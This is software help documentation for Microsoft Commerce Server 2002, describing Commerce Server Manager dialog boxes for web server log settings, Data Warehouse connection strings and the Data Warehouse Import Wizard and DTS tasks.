Commerce Server Software Development Kit (SDK) | Contains technical information for developers creating programs or intelligent Web pages that must integrate with the Commerce Server application programming interface (API). The SDK contains a guide for programmers and references to various Commerce Server and commerce technologies. It also includes samples and header files that you can use to create your own programs.
TechNet | Contains technical information and tools designed to help you plan, develop, deploy, and manage your e-commerce Web sites. For information about Commerce Server, select Commerce Server from the Navigate by Product menu on the left side of the screen. http://go.microsoft.com/fwlink/?LinkId=5160
Newsgroups | Use peer-to-peer newsgroups to talk about Commerce Server with other administrators, developers, and Microsoft Most Valuable Professionals (MVPs). Microsoft does not monitor or support the content of these newsgroups or sites. http://go.microsoft.com/fwlink/?LinkId=5816
Microsoft Support | A list of support options available for Commerce Server. http://go.microsoft.com/fwlink/?LinkId=954
Microsoft Servers site | A guide to the full range of Microsoft server products for IT professionals, developers, and Internet professionals. http://go.microsoft.com/fwlink/?LinkId=6732


User Interface Reference

This section contains the context-sensitive help topics for resources available from Commerce Server Manager. These topics are available from the user interface by pressing the F1 key or by clicking Help in Commerce Server Manager dialog boxes.

For information about Site Packager dialog boxes, see Site Packager Dialog Boxes.

This section contains:

  • Resource Properties, Properties Tab. Provides links to the appropriate topics for each resource properties dialog box.
  • Resource Properties, Connection Strings Tab. Provides links to the appropriate topics for each resource connection strings dialog box.
  • Data Warehouse Configurator. Provides dialog box help for the configuring the Data Warehouse.
  • Data Warehouse UI Help. Provides dialog box help for the Data Warehouse.
  • Data Warehouse Import Wizard. Provides dialog box help for the Data Warehouse Import wizard.
  • DTS Task UI Help. Provides dialog box help for the Commerce Server 2002 DTS tasks.
  • Profiles Resource UI Help. Provides dialog box help for the Profiles resource.
  • Predictor Resource UI Help. Provides dialog box help for the Predictor resource.
  • Predictor Model Configuration Setup Wizard. Provides dialog box help for the Predictor Model Configuration Setup Wizard.


Resource Properties, Properties Tab

You use the properties listed in the Resource Properties dialog box to configure global or site resources.

For detailed information about configuring global resources, see the following topics:

  • Configuring the CS Authentication Resource
  • Changing the Time Zone and Start Day of the Week for Imported Data
  • Configuring Direct Mailer
  • Configuring the Predictor Resource
  • Configuring the Profiles Resource Connection String

For detailed information about configuring a site resource, see the following topics:

  • Configuring a Site Resource
  • Adding a Global Resource Pointer to a Site


Resource Properties, Connection Strings Tab

Use this dialog box to change the connection string for a Commerce Server resource.

For detailed information about Commerce Server connection strings, see the following topics:

Changing Database Connection Strings

Changing the Administration Database Connection String

Data Warehouse Connection Strings

Configuring Data Warehouse Connection Strings

Accessing the Analysis Server Over HTTP(S)

OLE DB Connection Strings for the Data Warehouse

OLE DB Connection Strings for the Profiling System

Code to Connect to the Expression Store

Code to Retrieve the Predictor Database Connection String

Code to Connect to the Profile Store

Securing Your Site


Commerce Web Server, Identities Tab

The following table shows the options available on the Identities tab in the Commerce Web Server dialog box.

Use this | To do this
Server name | Type the name of the computer on which the Web server is installed. Change the name only if you have renamed your server.
Identities | Displays the Internet Protocol (IP) address for the Web server, the TCP Port, and the host header name. These values are initially read from IIS. To add identities, click Add.
SSL identities | This box displays the IP address and Secure Sockets Layer (SSL) Port for the Web server. These values are initially read from IIS. To add SSL identities, click Add.

See Also

Configuring a Web Server

Adding a Non-Commerce Web Server to an Application

Adding a Non-Commerce Application to a Site


Commerce Web Server, Log Files Tab

Use this dialog box to configure the Web server log files to be imported by the Data Warehouse.

Notes

  • When the Web servers in this application are running IIS option in the Application Properties dialog box is selected, you can only use the New log file period or Log file mask property; you cannot use both properties.
  • If the Synchronize the log file name and location option in the Application Properties dialog box is selected, the value in the Log file directory box in the Web Server Properties dialog box is overwritten with the value in IIS.

The following table shows the options and functions available on the Log Files tab in the Commerce Web Server dialog box.

Use this | To do this
New Log Time Period | Specify how long the IIS Web site writes to a log file before it creates a new file. This value is initially read from IIS.
Log file mask | Specify a custom log file rotation, indicating how long the IIS Web site writes to a log file before it creates a new file. This box is optional. For more information, including examples of what to specify in this box, see Specifying a Web Server Log File Mask.
Log file directory | Type the log file path to which the IIS Web site writes events, for example, C:\Winnt\System32\LogFiles\Log1. This value is initially read from IIS. However, you may want to specify a different directory if you copy the Web log files from the Web server to a central location before you run the Web server log import DTS task.
Log file code page | This box displays the code page used by the entire file. If needed, select a new code page from the drop-down list. IIS 5.0 supports System code page. Future releases of IIS will support UTF-8.
URL encoding code page | This box displays the code page used for all URLs. If needed, select a new code page from the drop-down list. IIS 5.0 supports System code page. Future releases of IIS will support UTF-8.

See Also

Specifying a Web Server Log File Mask


Web Site Configuration Dialog Box

Use this dialog box to add or edit an IP address, TCP port, and host header name for the Web server.

Note

  • You cannot use host headers in a deployment of multiple sites that implement AuthFilter. Microsoft Internet Information Services (IIS) does not support the use of host headers with Secure Sockets Layer (SSL). However, for basic security, AuthFilter requires the use of SSL when passing login credentials to the server.

The following table shows the options and functions available in the Web Site Configuration dialog box.

Use this | To do this
IP address | Type an IP address for the Web server. The All Unassigned value refers to IP addresses that are assigned to a computer but not assigned to a specific site. The Default Web Site uses all of the IP addresses that are not assigned to other sites. Only one site can be set to use unassigned IP addresses.
TCP port | Type the port address for this Web site. The default port number is 80.
Host header name | Type the host header name for the Web site. If you are adding additional sites to a single IP address by using host headers, you must assign a host header name.

See Also

Configuring a Web Server

Adding a Non-Commerce Web Server to an Application

Adding a Non-Commerce Application to a Site


Data Warehouse Configurator

Use the Data Warehouse Configurator to create a new Data Warehouse. It never configures an existing Data Warehouse.

To start the Data Warehouse Configurator

  • Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Data Warehouse Configurator.

After you complete the Commerce Server Data Warehouse Configurator dialog box, the Data Warehouse Configurator performs the following steps:

  1. Installs the Data Warehouse and Predictor global resources.
  2. Creates a SQL Server database. By default, this database is named <Commerce Server site name>_dw.
  3. Creates an OLAP database. By default, this database is named <Commerce Server site name>_dw.
  4. Unpacks the dw.pup package, which contains a version of the Commerce Server Business Desk application that only includes the Analysis modules. The default name of the Business Desk application is <Commerce Server site name>bizdesk.

The following table shows the options available in the Data Warehouse Configurator dialog box.

Use this | To do this
Commerce Server site | Type the name of the site to be created, or select the name of an existing site from the drop-down list. This is the site that the new Data Warehouse will support.
Data Warehouse Type the name of the Data Warehouse global resource to be created. This resource will point to the <Commerce Server site name>_dw Data Warehouse database, or the name of the database you specify in Database Server box.

Do not use the name of an existing Data Warehouse global resource.

Note

  • If you select an existing site in the Commerce Server site box, and then type the name of a new Data Warehouse global resource in this box, the Data Warehouse Configurator will assign this new Data Warehouse resource to that site, replacing any other Data Warehouse global resource that may have existed.
Non-Commerce applications | Click Configure to add non-Commerce applications and Web servers to be processed by the new Data Warehouse.
Reporting Server | Click Configure to select the Web server that contains the Business Desk application. This is the computer that will run reports for Business Desk users.
Database Server Click Configure to select the SQL Server that contains the Data Warehouse database, and (optionally) specify the name of the database. If you do not specify a name for the database, the name will default to <Commerce Server site name>_dw.

In the Data Link Properties dialog box, provide the login information that will configure two connection strings: ConnStr_db_analysis and ConnStr_db_dw.

For information about these connection strings, see Data Warehouse Connection Strings.
Analysis Server Click Configure to select the name of the SQL Server on which Analysis Services is installed, and (optionally) specify the name of the OLAP database. If you do not specify a name for the database, the name will default to <Commerce Server site name>_dw.

In the Data Link Properties dialog box, provide the login information that will configure two connection strings: ConnStr_OLAP and ConnStr_OLAP_Client.

For information about these connection strings, see Data Warehouse Connection Strings.
Launch Import Wizard Check this box to start the Data Warehouse Import Wizard after the Data Warehouse Configurator completes.

If you run the Data Warehouse Configurator during Commerce Server Setup, the Data Warehouse Import Wizard is started after you restart your computer.

See Also

Data Warehouse Connection Strings

Data Warehouse Import Wizard


Non-Commerce Application and Web Servers Dialog Box

Use this dialog box to add multiple non-Commerce applications, and then add multiple non-Commerce Web servers to those applications.

Commerce Server supports Web servers that are not running Microsoft Internet Information Services (IIS) and that do not include Commerce Server components. This enables you to make the Web server log files available to the Data Warehouse for import.

  1. To add the non-Commerce application, in the Non-Commerce applications box, click New.
  2. After you create the application, to specify Web servers for the application, select the application in the top box, and then in Non-Commerce web servers for selected application, click New.

See Also

Configuring a Web Server

Adding a Non-Commerce Web Server to an Application

Adding a Non-Commerce Application to a Site


(Non-Commerce) Applications, General Tab

Use this dialog box to configure a non-Commerce application. When you configure an application, you specify properties that apply to all the Web servers used by the application.

The following table shows the options and functions available on the General tab, in the (Non-Commerce) Applications dialog box.

Use this | To do this
Web servers in this application are running IIS Select if the servers in the non-Commerce application are running Internet Information Services (IIS) 5.0.

You cannot have both IIS and non-IIS servers in a non-Commerce application.
Nonsecure host name Type the Domain Name Server (DNS) to use for non-secured links in your applications.

Caution

  • If you are using a port number other than 80, you must append that number to the end of the nonsecure host name (for example, www.microsoft.com:81). To view or edit the port number, see the TCP Port box on the Identities tab in the Web Server Properties dialog box. For more information, see Configuring a Web Server.
IIS application path | Type the path to the IIS application.
Application path | If no Web servers in this application are running IIS, type the path to the application.
Enable HTTPS | Select to enable links to a secure HTTP host (Secure Sockets Layer (SSL)) in your applications.
Secure host name Type the DNS domain name to use for secured links in your applications.

Caution

  • If you are using a port number other than 443, you must append that number to the end of the secure host name (for example, www.microsoft.com:441). To view or edit the SSL port number, see the SSL Port box on the Identities tab in the Web Server Properties dialog box. For more information, see Configuring a Web Server.

Note

  • The Enable HTTPS and Secure host name options are used by the AuthManager object; they are not used by AuthFilter. If you are using AuthFilter, use the CS Authentication Login Form property to specify SSL for login pages. For more information, see Configuring the CS Authentication Resource.

See Also

Configuring a Web Server

Adding a Non-Commerce Web Server to an Application

Adding a Non-Commerce Application to a Site


(Non-Commerce) Applications, Web Servers Tab

Use this dialog box to add a Web server to an application. You can add a non-Commerce Web server, which does not use any Commerce Server components. The purpose of adding a non-Commerce Web server is so you can make the Web server log files available to the Data Warehouse for import.

Note

  • The Synchronize Values button is only activated when the Web servers in the application are using IIS option is selected on the General tab, and you have made changes using the IIS user interface. You can then use the Synchronize Values button to synchronize Commerce Server Manager with IIS.

The following table shows the options and functions available on the Web Servers tab, in the (Non-Commerce) Appliations dialog box.

Use this | To do this
IIS Web site | Type the name of the IIS Web site (for example, Default Web Site).
Local domain | Type the name of the local domain (for example, microsoft.com).

See Also

Configuring a Web Server

Adding a Non-Commerce Web Server to an Application

Adding a Non-Commerce Application to a Site


New Non-Commerce Web Server, Identities Tab

The following table shows the options and functions available on the Identities tab in the New Non-Commerce Web Server dialog box.

Use this | To do this
Server name | Type the name of the computer on which the Web server is installed. Change the name only if you have renamed your server.
Identities | Displays the Internet Protocol (IP) address for the Web server, the TCP Port, and the host header name. These values are initially read from IIS. To change the values, click Edit.
SSL identities | Displays the IP address and SSL Port for the Web server. These values are initially read from IIS. To change the values, click Edit.


New Non-Commerce Web Server, Log Files Tab

The following table shows the options and functions available on the Log Files tab in the New Non-Commerce Web Server dialog box.

Use this | To do this
New Log Time Period | Specify how long the IIS Web site writes to a log file before it creates a new file. This value is initially read from IIS.
Log file mask | Specify a custom log file rotation, indicating how long the IIS Web site writes to a log file before it creates a new file. This box is optional. For more information, including examples of what to specify in this box, see Specifying a Web Server Log File Mask.
Log file directory | Type the log file path to which the IIS Web site writes events, for example, C:\Winnt\System32\LogFiles\Log1. This value is initially read from IIS. However, you may want to specify a different directory if you copy the Web log files from the Web server to a central location before you run the Web server log import DTS task.
Log file code page | Displays the code page used by the entire file. If needed, select a new code page from the drop-down list. IIS 5.0 supports System code page. Future releases of IIS will support UTF-8.
URL encoding code page | Displays the code page used for all URLs. If needed, select a new code page from the drop-down list. IIS 5.0 supports System code page. Future releases of IIS will support UTF-8.

See Also

Specifying a Web Server Log File Mask


Identity Dialog Box

Use this dialog box to add or edit an IP address, TCP port, and host header name for the Web server.

Note

  • You cannot use host headers in a deployment of multiple sites that implement AuthFilter. Microsoft Internet Information Services (IIS) does not support the use of host headers with Secure Sockets Layer (SSL). However, for basic security, AuthFilter requires the use of SSL when passing login credentials to the server.

The following table shows the options and functions available in the Identity dialog box.

Use this | To do this
IP address | Type an IP address for the Web server. The All Unassigned value refers to IP addresses that are assigned to a computer but not assigned to a specific site. The Default Web Site uses all of the IP addresses that are not assigned to other sites. Only one site can be set to use unassigned IP addresses.
TCP port | Type the port address for this Web site. The default port number is 80.
Host header name | Type the host header name for the Web site. If you are adding additional sites to a single IP address by using host headers, you must assign a host header name.

See Also

Configuring a Web Server

Adding a Non-Commerce Web Server to an Application

Adding a Non-Commerce Application to a Site


Data Warehouse UI Help

This section contains the context-sensitive help topics for the Commerce Server 2002 Data Warehouse resource. These topics are available from the Data Warehouse resource user interface by clicking Help in Data Warehouse resource dialog boxes.

This section contains:

  • Data Warehouse Properties, SQL Server Tab
  • Data Warehouse Properties, Analysis Server Tab
  • Data Warehouse Properties, Time Tab


Data Warehouse Properties, SQL Server Tab

Use this dialog box to configure two connection strings to the SQL Server Data Warehouse database:

  • ConnStr_db_analysis. This client-side connection string is used only by the PivotTable in dynamic reports. Clients can access this connection string by viewing the source when a dynamic report renders. Consequently, this connection string uses Windows Integrated Security by default, even if you specify SQL Security in this dialog box, or when you unpack the Data Warehouse resource.

    Since this connection string uses Windows Integrated Security, Windows users that do not have SQL Server permissions will not be able to run the dynamic SQL reports.

  • ConnStr_db_dw. This server-side connection string is provided for high availability Business Analytics configurations. You initially set this connection string when you unpack the Data Warehouse resource; it has Administrative privileges.

    For this connection string, you can choose whether to use Windows Integrated Security or SQL Security.

For more information about these connection strings, see Data Warehouse Connection Strings.

The following table shows the options and functions available on the SQL Server tab in the Data Warehouse Properties dialog box.

Use this | To do this
SQL Server Authentication | For the Connstr_db_dw connection string, select this option to use SQL Security. SQL Server Authentication is not used for the Connstr_db_analysis connection string.
Windows NT Authentication | For the Connstr_db_dw connection string, select this option to use Windows NT Authentication. By default, the Connstr_db_analysis connection string always uses Windows Integrated Authentication.
User ID | Type the user ID for SQL Server Authentication.
Password | Type the password for SQL Server Authentication.
Server | Type the name of the SQL Server that contains the Data Warehouse database.
Database | Type the name of the SQL Server Data Warehouse database.

See Also

Data Warehouse Connection Strings

Accessing the Analysis Server Over HTTPS

Configuring Data Warehouse Connection Strings

Queries to Read Data Warehouse Connection Strings from the Administration Database

Scripts for Securing Databases Accessed by Reports

Changing the Data Warehouse Password


Data Warehouse Properties, Analysis Server Tab

Use this dialog box to configure three connection strings to the Analysis Server (OLAP) database:

  • ConnStr_OLAP. This server-side connection string is provided for high availability Business Analytics configurations. You set this connection string when you unpack the Data Warehouse resource; it has Administrative privileges.

    By default, any member of the Windows domain of the server where the OLAP database resides will have query (read) access to the Commerce Server 2002 OLAP cubes.

  • ConnStr_OLAP_HA. This connection string is used for accessing the OLAP database in high availability installations and staging environments. This connection string is available for your use, but it is not currently referenced by the Commerce Server Business Desk Analysis modules.
  • ConnStr_OLAP_Client. This client-side connection string is used only by the PivotTable in dynamic reports. Clients can access this connection string by viewing the source when a dynamic report renders. Consequently, this connection string uses Windows Integrated Security by default, even if you specify SQL Security in this dialog box, or when you unpack the Data Warehouse resource.

    By default, any member of the Windows domain of the server where the OLAP database resides will have query (read) access to the Commerce Server 2002 OLAP cubes.

    Note

    • It is recommended that you use HTTPS and Basic Authentication in the ConnStr_OLAP_Client connection string. The user ID and password can belong to any valid Windows user on the Analysis Services computer in the form <domain>\<userID>, for example, REDMOND\SeanChai. You may want to create a new user account with permissions to query only the OLAP cubes.

For more information about these connection strings, see Data Warehouse Connection Strings.

The following tables show the options and functions available on the Analysis Server tab in the Data Warehouse Properties dialog box.

Primary Analysis Server section

Use this section to configure the ConnStr_OLAP connection string.

Use this | To do this
Server | Type the name of the Analysis server that contains the OLAP database used for dynamic reports.
Database | Type the name of the OLAP database used for dynamic reports.

Secondary Analysis Server section

Use this section to configure the ConnStr_OLAP_HA connection string.

Use this | To do this
Server | Type the name of the secondary Analysis server that contains the OLAP database used for dynamic reports.
Database | Type the name of the secondary OLAP database used for dynamic reports.

Client Connection section

Use this section to configure the ConnStr_OLAP_Client connection string. You can enable Business Desk users to run dynamic reports by connecting to the Analysis server (to access the OLAP database) through Internet Information Services (IIS). When you configure this connection method, the PivotTable service can tunnel through firewalls or proxy servers to the Analysis server.

For additional steps required to use this feature, see Accessing the Analysis Server Over HTTPS.

Use this | To do this
Connect using HTTP | Select to enable users to connect to the Analysis server through IIS.
Use SSL | Select to encrypt and transmit the connection over a secure channel using Secure Sockets Layer (SSL). This is the recommended setting.
User ID | Type a valid Windows user ID in the form <domain>\<userID>, for example, REDMOND\SeanChai. You may want to create a new user account with permissions to query only the OLAP cubes.
Password | Type a valid Windows password.
Server | Type the name of the Analysis server.
Database | Type the name of the Data Warehouse OLAP database.

See Also

Data Warehouse Connection Strings

Accessing the Analysis Server Over HTTPS

Configuring Data Warehouse Connection Strings

Queries to Read Data Warehouse Connection Strings from the Administration Database

Scripts for Securing Databases Accessed by Reports

Changing the Data Warehouse Password


Data Warehouse Properties, Time Tab

Use this dialog box to configure the time zone and start day of week that the Data Warehouse assigns to imported time data.

By default the Data Warehouse inherits the time zone and start day of the week from Microsoft SQL Server. However, you can configure the time zone and start day of the week that the Data Warehouse assigns to imported time data.

Note

  • The SQL Server start day of the week is used in reports. The start day of the week you set in the Data Warehouse Properties dialog box is used to aggregate data imported from Web log files in weekly intervals.

The following table shows the options and functions available on the Time tab in the Data Warehouse Properties dialog box.

Use this | To do this
Adjust time zone to | Select a time zone from the drop-down list.
Start day of the week | Select the start day of the week from the drop-down list.

See Also

Configuring the Default Web Site Properties for Import

Configuring Web Log Files for Import

Configuring the Web Server Log Import DTS Task

Specifying Data to be Imported into the Data Warehouse


Data Warehouse Task History

Use this screen to view the status of DTS tasks.

To view the Task History

  • Click Start, point to Programs, point to Microsoft Commerce Server 2002, expand Commerce Server Manager, expand Global Resources, expand the Data Warehouse for which you want to view the task history, and then click Task History.

The following table shows the columns of the Task History screen.

Use this | To do this
Description | The description of the DTS task for which you are viewing the status.
Start time | The time at which the DTS task started running.
End time | The time at which the DTS task stopped running.
Status | The current status of the DTS task.
Site name/Data Warehouse name | The name of the site or Data Warehouse associated with the DTS task.
Percentage complete | The percentage complete of the DTS task.

The following table shows the possible statuses of the Task History associated with the Data Warehouse resource.

Status | Description
Success | The DTS task completed successfully.
Abort | The DTS task was cancelled or failed.
Completed with failures. | The DTS task was cancelled or failed.
Incomplete | The DTS task failed.

See Also

Retrying a DTS Task

Troubleshooting the Data Warehouse Import Process

Restarting, Ignoring, or Deleting a Failed Web Server Log Import Task

Best Practices for Data Warehouse


Data Warehouse Import Wizard

Use the Data Warehouse Import Wizard to import data into the Data Warehouse and prepare the Data Warehouse so that Commerce Server Business Desk Analysis reports can be run.

To start the Data Warehouse Import Wizard

  • Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Data Warehouse Import Wizard.

You can also choose to start the Wizard automatically after running the Data Warehouse Configurator. For information, see Data Warehouse Configurator.

After completing the Data Warehouse Import Wizard, you will have created a DTS package that specifies what data to import and when it should be imported.

Important

  • The Data Warehouse Import Wizard always saves the package to the local SQL Server. Your local SQL Server must be started.
  • When your site is configured to use Windows Authentication, to run the Data Warehouse Import Wizard and save a package, your account must have Select, Insert, and Update permissions on the msdb database and the sysDTSPackage object. The msdb database is used by SQL Server Agent for scheduling alerts and jobs, and it is accessed to save the DTS package.

This section contains:

  • Import Options Dialog Box
  • Specify the mode of importing the data Dialog Box
  • Log File Locations Dialog Box
  • Log Files Dialog Box
  • Import Execution Options Dialog Box
  • Executing DTS Package Dialog Box


Import Options Dialog Box

Use this dialog box to select the site for which you want to import data, and select the type of data to import into the Data Warehouse for that site.

The following table describes each of the import options:

Import option | Description
Web server logs Imports Web log file data generated by your Web site. Web log file data is obtained when users visit your site and click links to site pages. Some of the data imported into the Data Warehouse from a Web log file includes, for example:
  • The length of time a user spent visiting your site
  • The referring site from which a user accessed your site.
  • The ads users clicked while visiting your site.
  • The ads served to a user who was visiting your site.
  • The number of users to whom an ad was served.

Note

  • The Web log files must be in the World Wide Web Consortium (W3C) extended Web log file format. If you are importing Apache or Lotus logs, you must convert them to the W3C extended Web log file format before you can import them.

For a list of Commerce Server reports based on Web server log file data, see Reports Based on Web Log File Data.
Resolve IP addresses | Converts IP addresses, imported from your log files, into domain names. For example, 198.105.232.4 becomes www.microsoft.com. This helps readers of your reports more easily understand the data in the reports.
Product catalog Imports data about the products in your Commerce Server catalog database, including dimensional information such as product name, description, color, and size.

For reports such as Product Analysis and Transaction Analysis to display properly, catalog data is required. If catalog data is not imported into the Data Warehouse, products are identified in reports by their stock-keeping unit (SKU) numbers only.

To designate which catalog properties to import into the Data Warehouse, use the Catalog Definition Designer module in Commerce Server Business Desk. For more information, see Specifying Data to be Imported into the Data Warehouse.
Transactions | Imports transaction data, which includes purchase orders and requisition numbers. This data is used in analysis reports to determine how well individual products are selling, how much is being requisitioned, or how much your users are purchasing.
Profiles Imports profile data such as user name, address, and date registered.

To designate which profile properties to import into the Data Warehouse, use the Profile Definition Designer module in Business Desk. For more information, see Specifying Data to be Imported into the Data Warehouse.
Campaigns | Imports campaign information such as advertisers, campaigns, and campaign item data. For a list and description of reports based on campaign data, see Advertising Reports.

Each of these import options corresponds to a Commerce Server Data Transformation Services (DTS) task. If you want, you can manually configure each of these DTS tasks instead of using the Data Warehouse Import Wizard. For more information, see Importing Data into the Data Warehouse.

For a detailed list of the data that is imported for each of these options, see Extract, Transform, and Load Process for DTS Tasks.

See Also

Data Warehouse Import Wizard

Reports Based on Web Log File Data

Specifying Data to be Imported into the Data Warehouse

Importing Data into the Data Warehouse

Extract, Transform, and Load Process for DTS Tasks


Specify the Mode of Importing the Data Dialog Box

Use this dialog box to specify whether to import all the data into the Data Warehouse, or to import only data that is new or has changed since the last import process.

If you select Full load, a full import will be performed for all the import options selected for this package.

Notes

  • If you are configuring the import process to import profile, catalog, or transaction data for the first time, select Full load.
  • When you import profile data in Full load, the Start Date will be 1/1/2000. To change the start date, edit the DTS package after saving the package through the Data Warehouse Wizard.

    For instructions about manually configuring the Profile data import DTS task in the DTS package created by the Data Warehouse Import Wizard, see Running the Profile Data Import DTS Task.


Log File Locations Dialog Box

Use this dialog box to specify the locations of the Web log files and to associate them with the computer and Web site that generated the log files.

Complete this dialog box only if you have moved the Web log files from the location that is displayed on the dialog box.

To specify the locations of the Web log files and associated computer and Web sites

  1. In the Locations and servers box, select the application for which you want to import Web log files.
  2. In the Log file path box, click Ellipsis to browse to the location of the Web log files for the selected application.


Log Files Dialog Box

Use this dialog box to select the Web server log files you want to import.

The following table describes the import criteria:

Import criteria | Description
All logs since last import | Import only the new log files that have been generated since the last import with the log file mask applied. These log files are listed in the Log File Name column in the dialog box.
Log files by date and time | Import only the log files for the specified time range with the log file mask applied. These log files are listed in the Log File Name column in the dialog box.
Manually select log files | Select which log files you want to import. All log files in the directory are listed with no log file mask applied.


Import Execution Options Dialog Box

Use this dialog box to name the import package you created using the Data Warehouse Import Wizard, and to specify when the package should run.

Select one or both of the following options:

  • Run the import immediately. After you complete the Data Warehouse Import Wizard, the import will run immediately on the current computer.

    Note

    • The package is only saved when you select Save the import configuration to SQL Server.
  • Save the import configuration to SQL Server. This option is recommended if you want to customize the import package (for example, to change the start date for importing profile data), or if you want to run the import process at a later date.

    Note

    • The package is saved to the Local Packages folder in SQL Enterprise Manager. If SQL Enterprise Manager opens when you run the wizard, you must right-click Local Packages, and then click Refresh to display the new package.

For information about running the import package manually at a later date, see Running an Import DTS Package.


Executing DTS Package Dialog Box

This dialog box is displayed if you selected the Run the import immediately option on the Import Execution Options dialog box.

The Data Warehouse Import Wizard indicates each step it performs.

Note

  • If any of your DTS tasks failed, an error message will appear. Click OK to close the error message. For information about troubleshooting the import process, see Troubleshooting the Data Warehouse Import Process.


Running an Import DTS Package

If you create an import DTS package using the Data Warehouse Import Wizard, you might choose to save it to SQL Server so you can run it at a later date. Perform the following procedure to run the import package.

To run an import package

  1. Click Start, point to Programs, point to Administrative Tools, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Microsoft SQL Servers, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Expand Data Transformation Services, and then click Local Packages.
  4. Right-click your package, and then click Execute Package.
  5. Review the Executing Package dialog box for failed tasks.

    Note

    • If any of your DTS tasks failed, an error message will appear. Click OK to close the error message. For information about troubleshooting the import process, see Troubleshooting the Data Warehouse Import Process.
  6. Click Done to close the Executing Package dialog box.


DTS Task UI Help

This section contains the context-sensitive help topics for the Commerce Server 2002 Data Transformation Services (DTS) tasks. These topics are available by clicking Help in Commerce Server 2002 DTS task dialog boxes.

This section contains:

  • Synchronize DW Properties Dialog Box
  • Import Web Server Logs Dialog Box
  • Web Server Log Files Dialog Box
  • Advanced Web Log Import Properties, Excludes Tab
  • Excludes Dialog Box
  • Advanced Web Log Import Properties, Inferences Tab
  • Advanced Web Log Import Properties, Query Strings Tab
  • Query Strings Dialog Box
  • Advanced Web Log Import Properties, Default Files Tab
  • Advanced Web Log Import Properties, Log Files Tab
  • Advanced Web Log Import Properties, Restart Tab
  • Transaction Import Properties Dialog Box
  • Catalog Import Properties Dialog Box
  • Profile Import Properties Dialog Box
  • Campaign Import Properties Dialog Box
  • Delete Task Dialog Box
  • Model Builder Properties Dialog Box
  • IP Resolution Properties Dialog Box
  • Prepare Reports Properties Dialog Box
  • Cache Warmer Properties Dialog Box


Synchronize DW Properties Dialog Box

Use the Configuration synchronization DTS task to import the site configuration data from the Administration database into the Data Warehouse. This differs from the Synchronize Values button on the Application Properties dialog box. When you click this button, Commerce Server reads the values from the Internet Information Services (IIS) metabase to the Administration database, and then from the Administration database to the Data Warehouse. For more information, see Configuring an Application.

For performance purposes, the Data Warehouse stores the site configuration data, which includes site topology settings, instead of reading it from the Administration database each time it is needed.

You can choose to synchronize the Data Warehouse with a single site, or with all of the sites. You must run the Configuration synchronization DTS task before you run any DTS tasks that import or delete data.

For more information about configuring and running this task, see Running the Configuration Synchronization DTS Task.

Note

  • You cannot cancel this task once it is started. Although you can press the Cancel button, the task does not stop.

The following table shows the options and functions available in the Synchronize DW Properties dialog box.

Use this | To do this
Description | Type a description for the import task. The maximum number of characters for the description is 255 characters.
Operation level Select one of the following from the drop-down list:
  • Site level to synchronize a site with the Data Warehouse.
  • Data Warehouse level to synchronize all sites with the Data Warehouse.
Site name | Select from the drop-down list the site that you want to synchronize with the Data Warehouse.
Data Warehouse name | Select from the drop-down list the Data Warehouse that you want to synchronize with the sites.
Number of retries | Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10 times.
Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.

See Also

Running the Configuration Synchronization DTS Task

ETL Process for the Configuration Synchronization DTS Task

Scripting for the Configuration Synchronization DTS Task

Best Practices for the Data Warehouse

Workflow for Running the DTS Tasks


Import Web Server Logs Dialog Box

Note

  • If you have multiple applications and log files, use a script to configure the Web server log import DTS task instead of using the user interface. For instructions, see Scripting the Web Server Log Import DTS Task.

The Web server log import DTS task imports Web log file data generated by your Web servers into the Commerce Server Data Warehouse. You use the Web server log import DTS task to provide information about what log files to import and where they are located. The Web log files must be in the World Wide Web Consortium (W3C) extended Web log file format.

For important information about configuring and running the Web server log import DTS task, see Best Practices for the Data Warehouse.

For information about troubleshooting the import process, see Troubleshooting the Data Warehouse Import Process.

See Also

Log File Locations Tab

Import Criteria Tab

Restart Details Tab

The following table shows the options and functions available in the Import Web Server Logs dialog box.

Use this | To do this
Description | Type a description for the import task. The maximum number of characters for the description is 255 characters.
Operation level Select Site level from the drop-down list to import log files for the specified site only.

Select Data warehouse level to import logs for all of the sites associated with the Data Warehouse.

Site | Select from the drop-down list the Web site that contains the Web server log you are importing.
Data Warehouse | Select from the drop-down list the Data Warehouse to import logs for all of the sites associated with that Data Warehouse.
Number of retries Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10 times.

Note

  • To specify the number of times the Web log import process is restarted before proceeding to the next import process, click Advanced, and then click the Restart tab.
Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
Advanced | Click to open the Advanced Web Log Import Properties dialog box.

Log File Locations Tab

The following table shows the options and functions available on the Log File Locations tab in the Import Web Server Logs dialog box.

Use this | To do this
Log file locations | Click the column headings to sort the list of log files by application, computer, IIS Web site, or log file path.
Log file path | Type the path for the Web log file you want to import or click the ellipsis [...] button to browse for the log file path.
Log Files button | Click to open the Web Server Log Files dialog box, select the Web log files you want to import from the Web Server Log Files list, and then click OK to return to the Import Web Server Logs dialog box.

Import Criteria Tab

The following table shows the options and functions available on the Import Criteria tab in the Import Web Server Logs dialog box.

Use this | To do this
All logs since last import | Select to specify that only log files created since the last import will be imported.
Logs by data/time range | Select to specify that only log files created between the Start date/time and End date/time will be imported.
Start date/time | Type the date and time for the beginning of the range from which log files will be imported. This option is only available if you select the Logs by date/time range option.
End date/time | Type the date and time for the end of the range of log files to be imported. This option is only available if you select the Logs by date/time range option.

Restart Details Tab

If an import process job fails or is cancelled, the Restart Details tab will list the log files, the server group, status, and the site name for the failed import.

The following table shows the options and functions available on the Restart Details tab in the Import Web Server Logs dialog box.

Use this | To do this
File name | The name of the log import file.
Server group | The name of the server group.
Status The status of the log import process. There are four possible statuses:
  • Invalid file. The file does not contain any valid hits. (For example, an empty file or a file that only contains a header)
  • Completed. The log file has been successfully imported.
  • Not started. The log file has not yet been imported.
  • Aborted. The log file was partially imported.
Site name | The name of the site with which the Web log file is associated.
Ignore button Click to delete the failed log import task and continue with a new log import task. If you select this option, you will not be able to restart the previous import job.

All previous status messages of incomplete log imports are deleted.
Resume button | Click to allow the incomplete log import task to continue. No other log import can be run until this operation is complete.

See Also

Best Practices for Running the Web Server Log Import DTS Task

Troubleshooting the Data Warehouse Import Process

Scripting the Web Server Log Import DTS Task

Configuring the Web Server Log Import DTS Task

